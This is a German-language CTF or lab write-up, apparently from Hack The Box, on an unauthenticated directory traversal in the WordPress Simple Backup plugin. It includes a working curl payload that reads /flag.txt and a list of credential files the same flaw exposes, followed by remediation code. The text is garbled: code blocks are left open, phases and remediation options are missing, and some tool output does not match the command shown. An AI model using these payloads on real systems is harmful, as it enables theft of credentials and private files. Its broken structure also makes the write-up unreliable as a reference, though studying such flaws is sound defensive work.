`page=backup_manager` leitet die Anfrage an den Admin-Seiten-Handler des Plugins weiter; `download_backup_file` ist der Parameter, den der Plugin-Code direkt ausliest und ohne Validierung in einen Dateisystempfad einfügt, wodurch Directory Traversal ermöglicht wird.

---

### CVSS v3.1-Score

**7.5 - HOCH** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Angriffsvektor (AV):** Netzwerk
- **Angriffskomplexität (AC):** Niedrig
- **Erforderliche Berechtigungen (PR):** Keine
- **Benutzerinteraktion (UI):** Keine
- **Scope (S):** Unverändert
- **Vertraulichkeit (C):** Hoch
- **Integrität (I):** Keine
- **Verfügbarkeit (A):** Keine

---

### Geschäftsauswirkungen

**Vertraulichkeitsverletzung:** ⚠️ KRITISCH

Angreifer können jede Datei lesen, auf die der Webserver Zugriff hat, einschließlich:

| Datei | Auswirkung | Risikostufe |
|------|--------|------------|
| `/wp-config.php` | Datenbank-Anmeldedaten, Salts, Schlüssel | 🔴 KRITISCH |
| `/.env` | API-Schlüssel, Geheimnisse, Konfiguration | 🔴 KRITISCH |
| `/etc/passwd` | Benutzer-Enumeration, Systemmapping | 🟠 HOCH |
| SSH-Schlüssel (`.ssh/id_rsa`) | Lateral Movement, Systemzugriff | 🔴 KRITISCH |
| `/proc/self/environ` | Geheimnisse der laufenden Anwendung | 🟠 HOCH |
| Benutzer-Upload-Verzeichnis | Private Dateien, Medien | 🟠 HOCH |

**Regulatorische Auswirkungen:**
- **GDPR-Verstoß:** Unbefugter Zugriff auf Benutzerdaten
- **HIPAA-Verstoß:** Offenlegung geschützter Gesundheitsinformationen
- **PCI-DSS-Verstoß:** Zugriff auf Kreditkartendaten oder Zahlungsinformationen
- **SOC-2-Verstoß:** Verstoß gegen die Vertraulichkeitsanforderung

---

### Verwundbares Code-Muster

Das Exploit-DB-Advisory (39883.txt, gelesen über `searchsploit -x` — siehe [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) dokumentiert die **Delete-Primitive** des Plugins aus `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` stammt direkt aus `$_GET['delete_backup_file']`, ohne `basename()` oder eine Prüfung der Pfadbegrenzung. Die Übergabe von `../pizza.txt` löst `$bk_dir . $filename` zu `.../simple-backup/../pizza.txt` → `.../pizza.txt` auf und verlässt damit den vorgesehenen Backup-Ordner.

Die **Download**-Primitive, die bei diesem Einsatz tatsächlich ausgenutzt wurde (`download_backup_file`), folgt exakt demselben unbereinigten Verkettungsmuster im selben Plugin, gibt die Datei jedoch an den Anforderer zurück, anstatt sie zu löschen – was den Abruf von `/flag.txt` aus dem Dateisystemstamm (10× `../` von `ABSPATH/simple-backup/`) ermöglichte.

**Das Problem:**
- Keine Verwendung von `basename()`, um Verzeichniskomponenten zu entfernen
- Keine Whitelist zulässiger Dateien
- Keine Validierung, dass `realpath()` innerhalb von `ABSPATH."simple-backup/"` bleibt
- Direkte Verkettung von Benutzereingaben in den Dateipfad
- Keine `current_user_can()`- / Authentifizierungsprüfung, bevor die Datei ausgeliefert wird – der Handler läuft beim Laden des Plugins, vor WordPress' eigener `wp-admin`-Authentifizierungskontrolle, und ist daher **ohne Anmeldung** erreichbar

---

### Proof of Concept

#### **Phase 1: Erster Zugriff — Anwendungsidentifikation**

Direkt per Browser mit dem Ziel verbunden (`http://154.57.164.73:30706/`). Die WordPress-Installation trägt den Titel **"GETTING STARTED"**, und ein öffentlicher Blogbeitrag auf der Startseite gibt den genauen Plugin-Namen und die Version im Klartext preis: **"Simple Backup Plugin 2.7.10 for WordPress"** — es war nicht einmal ein Enumerationstool erforderlich, um die angreifbare Komponente zu identifizieren.

![Erster Zugriff - Plugin-Version auf der WordPress-Startseite offengelegt](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Phase 2: Service-Fingerprinting**```bash
whatweb http://154.57.164.73:30706/

**Ergebnis:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Das Advisory dokumentiert eine nicht authentifizierte **Beliebige Dateilöschung** über den Parameter `delete_backup_file` und weist darauf hin, dass Sicherungsdateien unter `simple-backup/` (und, über denselben nicht bereinigten Codepfad, beliebige Dateien über `download_backup_file`) ohne Authentifizierung abgerufen werden können.

![Schwachstellenforschung - Exploit-DB PoC 39883.txt gelesen via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Phase 4: Exploitation — Pfad-Traversal über `download_backup_file`**

Der verwundbare Endpunkt wurde anhand des Routings der Admin-Seite des Plugins identifiziert:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (in dieser Bewertung verwendet):** Die Payload-URL wurde direkt in der Adressleiste des Browsers aufgerufen. Kein Login war erforderlich — der Browser löste einen automatischen Dateidownload der aufgelösten `flag.txt` aus.

![Exploitation - Path traversal payload in browser address bar, flag.txt downloaded](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Headless-Äquivalent:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Auswirkungsvalidierung

✅ **Vertraulichkeit kompromittiert:** Jede Datei, die der Webserver-Prozess lesen kann, ist zugänglich
✅ **Keine Authentifizierung erforderlich:** Nicht authentifizierte Benutzer können die Schwachstelle ausnutzen
✅ **Keine Benutzerinteraktion erforderlich:** Ausnutzung durch eine direkte HTTP-Anfrage
✅ **Wiederholbar & zuverlässig:** Funktioniert auf allen verwundbaren Versionen
✅ **Kritische Geschäftsdaten gefährdet:** Konfigurationsdateien, Zugangsdaten und Benutzerdaten sind offengelegt

---

## Behebung

### **Option 1: Eingabe-Whitelist (Empfohlen)**

Erlauben Sie Downloads nur aus einer vordefinierten Liste von Dateien:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Vorteile:**
- Behandelt Symlinks und komplexe Pfade
- Überprüft automatisch, dass der Pfad im erlaubten Verzeichnis enthalten ist
- Flexibler als eine Whitelist

---

### **Option 3: basename() nur für den Dateinamen verwenden**

Nur die Dateinamenskomponente extrahieren:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Dateisystemberechtigungen:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Update-Verwaltung:**

1. Deaktiviere oder entferne das Simple Backup Plugin
2. Installiere eine genehmigte Backup-Lösung mit Sicherheitsaudit
3. Aktualisiere WordPress auf die neueste Version
4. Aktualisiere alle Plugins auf die neuesten Versionen
5. Aktualisiere PHP auf 8.0+ mit Sicherheitspatches

---

## Angriffskette```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘